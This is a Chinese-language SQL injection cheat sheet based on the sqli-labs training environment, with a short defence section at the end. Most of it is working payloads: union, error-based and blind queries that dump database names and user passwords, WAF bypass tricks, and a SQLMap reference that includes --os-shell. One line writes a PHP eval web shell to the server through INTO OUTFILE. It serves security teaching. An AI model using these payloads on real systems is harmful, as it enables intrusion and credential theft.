涵盖联合查询、报错注入、布尔/时间盲注、堆叠注入、POST/HTTP头注入、二次注入、文件写入Getshell、预编译原理与绕过、宽字节、WAF绕过等。实战基于 sqli-labs。
一、SQL注入本质
不该被查询到的数据,被查到了。原因是用户输入被直接拼接到SQL语句中执行。
sql
-- 正常
SELECT * FROM users WHERE id = '1'
-- 注入后:id=1' OR '1'='1
SELECT * FROM users WHERE id = '1' OR '1'='1' -- 返回全部数据
二、前置知识
核心库:information_schema
| 表 | 作用 | 关键字段 |
|---|---|---|
| SCHEMATA | 所有数据库名 | SCHEMA_NAME |
| TABLES | 所有表名 | table_schema, table_name |
| COLUMNS | 所有列名 | table_schema, table_name, column_name |
常用系统函数: user()、database()、version()
截断函数: substr()、substring()、left()、right()、mid()
注释符: --+(--空格)、#、/**/
三、联合查询注入(Union Query)
条件:页面有回显
sql
-- 1.判断列数
?id=1' order by 3--+ -- 不报错则3列,报错则减
-- 2.确定回显位(id设为一个不存在的值,让union结果显示)
?id=-1' union select 1,2,3--+
-- 3.爆库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
-- 4.爆表(group_concat合并多行,避免子查询只能返回一行的限制)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
-- 5.爆列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
-- 6.爆数据(0x3a=冒号,做分隔符)
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
四、报错注入
条件:页面无回显,但有SQL错误信息输出
主力函数: updatexml(1, concat(0x7e, 查询语句, 0x7e), 1),报错位置在第二个参数。
sql
-- 爆库
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
-- 爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
-- 爆数据(xpath报错最多32位,超出用substr分段)
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,password),1,32) from users),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,password),33,64) from users),0x7e),1)--+
其他报错函数:
| 函数 | 版本 | 示例 |
|---|---|---|
extractvalue(1, concat(0x7e,user(),0x7e)) |
5.0+ | 同上,少一个参数 |
floor() |
5.0~8.x | ')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ |
ST_LatFromGeoHash() |
5.7+ | and ST_LatFromGeoHash(concat(0x7e,user(),0x7e))--+ |
GTID_SUBSET() |
5.6+ | ') or gtid_subset(concat(0x7e,user(),0x7e),1)--+ |
五、盲注
条件:页面无回显、无报错,只有"真/假"两种状态
布尔盲注 --- 根据页面差异逐位猜
sql
-- 猜数据库长度
?id=1' and length(database())=8--+ -- 正常→长度8
-- 逐字符猜库名(二分法:每次折半,7次确定一个字符)
?id=1' and ascii(substr(database(),1,1))=115--+ -- 正常→'s'
-- 猜表名(嵌套子查询)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
时间盲注 --- 页面无差异时用sleep判断
sql
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+ -- 延迟3秒→匹配
对比: 布尔盲注较快(秒级),时间盲注极慢(一个字符几秒),优先用布尔盲注。
六、POST注入
与GET注入原理相同,数据在请求体中传递。
sql
uname=admin' union select 1,user()#&passwd=123
确保union前的查询结果为假(用不存在的用户名),否则页面显示已有用户而非union结果。
七、HTTP头注入
注入点可能在 User-Agent、Cookie、Referer 等请求头中。
sql
-- sqli-labs Lesson-18:User-Agent注入
User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1
-- 补全SQL语句的闭合
User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1),'127.0.0.1','admin')#
八、二次注入
恶意数据先存入数据库→后续操作取出拼接到SQL中触发。
经典场景: 注册用户名为 admin'# → 修改密码时,SQL变为修改 admin 的密码。
九、文件写入Getshell
条件: root权限 + secure_file_priv='' + 知道Web路径
sql
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile 'E:/phpStudy/WWW/shell.php'--+
secure_file_priv是只读变量,无法SQL修改,需在my.ini中配置。
十、绕过技巧
| 绕过目标 | 方法 | 示例 |
|---|---|---|
| 空格 | 注释 /**/、括号、换行符 |
select/**/1,2、select(user()) |
| 引号 | 十六进制替代 | 0x7573657273 = 'users' |
| 逗号 | join 替代 | union select * from (select 1)a join (select 2)b |
| 等号 | like/regexp/in | where table_name like 'users' |
| 关键字 | 双写 | aandnd → and |
| 科学计数法 | WAF与后端解析差异 | id=1e0union select... |
| HPP | PHP取最后一个参数 | ?i.d=-1union...&i_d=1(绕过检测函数) |
| 空格/换行 | %0a、%09、%a0 | 代替空格 |
十一、宽字节注入
原理: GBK编码下 %df%5c 被解析为一个汉字"运",%5c被消耗,单引号逃逸。
sql
?id=1%df' union select 1,2,3--+
生产环境几乎不可用:现在没人用GBK,都用真预编译。
十二、预编译原理与绕过
预编译将"语句"和"参数"分开,先构建语法树再传参,消除歧义。
两种模式:
- 虚假预编译(默认):底层无绑定,只是自动加引号转义,本质像过滤函数
- 真实预编译 :
prepare→execute两步,参数不会被解析为SQL指令
预编译无法防御的位置: order by、group by(参数加引号会失效)、表名/列名、limit(低版本MySQL)
预编译只是消除了SQL执行的歧义,没有消除SQL注入本身。
十三、SQLMap速查
bash
# 基础
sqlmap -u "http://target.com/?id=1"
sqlmap -u "http://target.com/login" --data="user=admin&pass=123"
sqlmap -u "URL" --cookie="PHPSESSID=xxx" --proxy="http://127.0.0.1:8080"
# 参数
--os-shell # 尝试获取系统Shell
--level=5 # 测试等级(1-5),3开始测Cookie,4开始测UA
--risk=3 # 风险等级(1-3),3包含OR注入(有破坏性)
--techniques=BEUSTQ # B布尔/E报错/U联合/S堆叠/T时间/Q内联
# 仅使用时间盲注
sqlmap -u "URL" --techniques=T
十四、防御思路
- 预编译(参数化查询) --- 首选,防99%注入
- 不可参数化位置做白名单 --- order by/group by等只允许预设值
- 最小权限原则 --- 不用root连数据库
- WAF --- 补充防护层